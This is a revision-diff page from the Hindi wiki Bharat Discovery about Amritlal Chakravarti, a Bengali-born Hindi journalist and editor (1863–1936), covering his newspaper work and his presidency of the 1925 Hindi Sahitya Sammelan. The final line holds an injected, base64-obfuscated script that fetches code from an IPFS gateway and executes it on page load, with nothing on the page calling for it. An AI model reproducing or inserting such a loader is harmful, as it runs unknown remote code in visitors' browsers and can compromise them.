अमृतलाल चक्रवर्ती: Difference between revisions

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
m (Adding category Category:साहित्यकार (को हटा दिया गया हैं।))
No edit summary
 
(13 intermediate revisions by 6 users not shown)
Line 1: Line 1:
*अमृतलाल चक्रवर्ती (जन्म- 1863; मृत्यु- [[1936]]) [[बांग्ला|बंगाली भाषी]] [[हिन्दी]]-सेवा के व्रती लेखक तथा पत्रकार थे।  
{{सूचना बक्सा साहित्यकार
*इन्होंने साप्ताहिक 'हिन्दी बंगवासी' ([[कलकत्ता]]) का सम्पादन लगभग दस वर्ष तक किया।  
|चित्र=blankimage.png
*यह हिन्दी साहित्य सम्मेलन के 16 वें अधिवेशन (वृन्दावन) के सभापति रहे।   
|चित्र का नाम=
|पूरा नाम=अमृतलाल चक्रवर्ती
|अन्य नाम=
|जन्म=1863 ई.
|जन्म भूमि=[[कोलकाता]], [[पश्चिम बंगाल]]
|मृत्यु= [[1936]] ई.
|मृत्यु स्थान=[[कोलकाता]], [[पश्चिम बंगाल]]
|अभिभावक=
|पति/पत्नी=
|संतान=
|कर्म भूमि=
|कर्म-क्षेत्र=साहित्य
|मुख्य रचनाएँ=उपन्यास कुसुम, निगभागम चंद्रिका, उपन्यास तरंग, श्रीकृष्ण संदेश
|विषय=उपन्यास, पत्रिका
|भाषा=[[हिन्दी]], [[बांग्ला भाषा|बांग्ला]]
|विद्यालय=
|शिक्षा=एलएल. बी.
|पुरस्कार-उपाधि=
|प्रसिद्धि=
|विशेष योगदान=
|नागरिकता=भारतीय
|संबंधित लेख=
|शीर्षक 1=
|पाठ 1=
|शीर्षक 2=
|पाठ 2=
|अन्य जानकारी=
|बाहरी कड़ियाँ=
|अद्यतन=
}}
'''अमृतलाल चक्रवर्ती''' (जन्म- 1863, [[कोलकाता]]; मृत्यु- [[1936]], कोलकाता) [[बांग्ला|बंगाली भाषी]] [[हिन्दी]]-सेवा के व्रती लेखक तथा पत्रकार थे। इन्होंने साप्ताहिक 'हिन्दी बंगवासी' ([[कलकत्ता]]) का सम्पादन लगभग दस वर्ष तक किया। यह हिन्दी साहित्य सम्मेलन के 16 वें अधिवेशन ([[वृन्दावन]]) के सभापति रहे।   
==कार्यक्षेत्र==
अमृतलाल चक्रवर्ती ने औपचारिक शिक्षा पूरी करने से पूर्व ही [[इलाहाबाद]] में प्रकाशित 'प्रयाग-समाचार' पत्र से पत्रकारिता के क्षेत्र में प्रवेश किया। कुछ ही दिन कालाकांकर से प्रकाशित राजा रामपाल सिंह के पत्र 'हिन्दोस्थान' में भी रहे। वहाँ से कोलकाता जाकर उन्होंने क़ानून  की डिग्री ली, लेकिन वकालत में नहीं गए। 'हिन्दी बंगवासी' निकलने पर अमृतलाल चक्रवर्ती 10 वर्ष तक  उसके संपादक रहे। उसके बाद बाबू बालमुकुंद गुप्त के अनुरोध पर वे 'भारत मित्र' पत्र में चले गए। इसके  में [[मुंबई]] के 'वैंकटेश्वर समाचार' ने उन्हें अपने यहाँ बुला लिया। उनके प्रयास से ही उस पत्र का दैनिक संस्करण प्रकाशित हुआ था।


{{प्रचार}}
अमृतलाल चक्रवर्ती ने 'उपन्यास कुसुम' 'निगभागम चंद्रिका' 'उपन्यास तरंग' और 'श्रीकृष्ण संदेश' पत्रों में भी काम किया। उस समय के हिन्दी सेवी किन कठिनाइयों में काम करके राष्ट्र भाषा का ध्वज उठाए रहते थे, इसकी एक झलक अमृतलालजी के जीवन से मिलती है। उन्हें [[1925]] में वृंदावन के सोलहवें अखिल भारतीय हिन्दी साहित्य सम्मेलन का सभापति बनाया गया था। उस समय उनके पास न तो किराए के पैसे थे, न पहनने के ठीक कपड़े। बड़े आग्रह पर 'मतवाला' संचालक महादेव प्रसाद सेठ से उन्होंने कुछ आर्थिक सहायता स्वीकार की, कि वे बदले में उनका कोई काम कर देंगे।
{{लेख प्रगति
==मृत्यु==
|आधार=
राष्ट्रभाषा के सेवी अमृतलाल चक्रवर्ती का [[1936]] में कोलकाता नें निधन हो गया।
|प्रारम्भिक=प्रारम्भिक1
 
|माध्यमिक=
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1|माध्यमिक=|पूर्णता=|शोध=}}
|पूर्णता=
|शोध=
}}
{{संदर्भ ग्रंथ}}
==टीका टिप्पणी और संदर्भ==
==टीका टिप्पणी और संदर्भ==
{{पुस्तक संदर्भ |पुस्तक का नाम=भारतीय चरित कोश |लेखक= लीलाधर शर्मा 'पर्वतीय'|अनुवादक= |आलोचक= |प्रकाशक=शिक्षा भारती, मदरसा रोड, कश्मीरी गेट, दिल्ली |संकलन= भारत डिस्कवरी पुस्तकालय|संपादन= |पृष्ठ संख्या= 43|url=|ISBN=}}
<references/>
<references/>
==संबंधित लेख==
==संबंधित लेख==
{{साहित्यकार}}
{{साहित्यकार}}
[[Category:साहित्यकार]][[Category:साहित्य कोश]][[Category:लेखक]][[Category:आधुनिक लेखक]][[Category:आधुनिक साहित्यकार]][[Category:चरित कोश]][[Category:जीवनी साहित्य]][[Category:भारतीय चरित कोश]]
__INDEX__
__INDEX__
 
__NOTOC__
[[Category:साहित्यकार]]

Latest revision as of 12:46, 6 January 2020

अमृतलाल चक्रवर्ती
पूरा नाम अमृतलाल चक्रवर्ती
जन्म 1863 ई.
जन्म भूमि कोलकाता, पश्चिम बंगाल
मृत्यु 1936 ई.
मृत्यु स्थान कोलकाता, पश्चिम बंगाल
कर्म-क्षेत्र साहित्य
मुख्य रचनाएँ उपन्यास कुसुम, निगभागम चंद्रिका, उपन्यास तरंग, श्रीकृष्ण संदेश
विषय उपन्यास, पत्रिका
भाषा हिन्दी, बांग्ला
शिक्षा एलएल. बी.
नागरिकता भारतीय
इन्हें भी देखें कवि सूची, साहित्यकार सूची

अमृतलाल चक्रवर्ती (जन्म- 1863, कोलकाता; मृत्यु- 1936, कोलकाता) बंगाली भाषी हिन्दी-सेवा के व्रती लेखक तथा पत्रकार थे। इन्होंने साप्ताहिक 'हिन्दी बंगवासी' (कलकत्ता) का सम्पादन लगभग दस वर्ष तक किया। यह हिन्दी साहित्य सम्मेलन के 16 वें अधिवेशन (वृन्दावन) के सभापति रहे।

कार्यक्षेत्र

अमृतलाल चक्रवर्ती ने औपचारिक शिक्षा पूरी करने से पूर्व ही इलाहाबाद में प्रकाशित 'प्रयाग-समाचार' पत्र से पत्रकारिता के क्षेत्र में प्रवेश किया। कुछ ही दिन कालाकांकर से प्रकाशित राजा रामपाल सिंह के पत्र 'हिन्दोस्थान' में भी रहे। वहाँ से कोलकाता जाकर उन्होंने क़ानून की डिग्री ली, लेकिन वकालत में नहीं गए। 'हिन्दी बंगवासी' निकलने पर अमृतलाल चक्रवर्ती 10 वर्ष तक उसके संपादक रहे। उसके बाद बाबू बालमुकुंद गुप्त के अनुरोध पर वे 'भारत मित्र' पत्र में चले गए। इसके में मुंबई के 'वैंकटेश्वर समाचार' ने उन्हें अपने यहाँ बुला लिया। उनके प्रयास से ही उस पत्र का दैनिक संस्करण प्रकाशित हुआ था।

अमृतलाल चक्रवर्ती ने 'उपन्यास कुसुम' 'निगभागम चंद्रिका' 'उपन्यास तरंग' और 'श्रीकृष्ण संदेश' पत्रों में भी काम किया। उस समय के हिन्दी सेवी किन कठिनाइयों में काम करके राष्ट्र भाषा का ध्वज उठाए रहते थे, इसकी एक झलक अमृतलालजी के जीवन से मिलती है। उन्हें 1925 में वृंदावन के सोलहवें अखिल भारतीय हिन्दी साहित्य सम्मेलन का सभापति बनाया गया था। उस समय उनके पास न तो किराए के पैसे थे, न पहनने के ठीक कपड़े। बड़े आग्रह पर 'मतवाला' संचालक महादेव प्रसाद सेठ से उन्होंने कुछ आर्थिक सहायता स्वीकार की, कि वे बदले में उनका कोई काम कर देंगे।

मृत्यु

राष्ट्रभाषा के सेवी अमृतलाल चक्रवर्ती का 1936 में कोलकाता नें निधन हो गया।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

भारतीय चरित कोश |लेखक: लीलाधर शर्मा 'पर्वतीय' |प्रकाशक: शिक्षा भारती, मदरसा रोड, कश्मीरी गेट, दिल्ली |संकलन: भारत डिस्कवरी पुस्तकालय |पृष्ठ संख्या: 43 |


संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>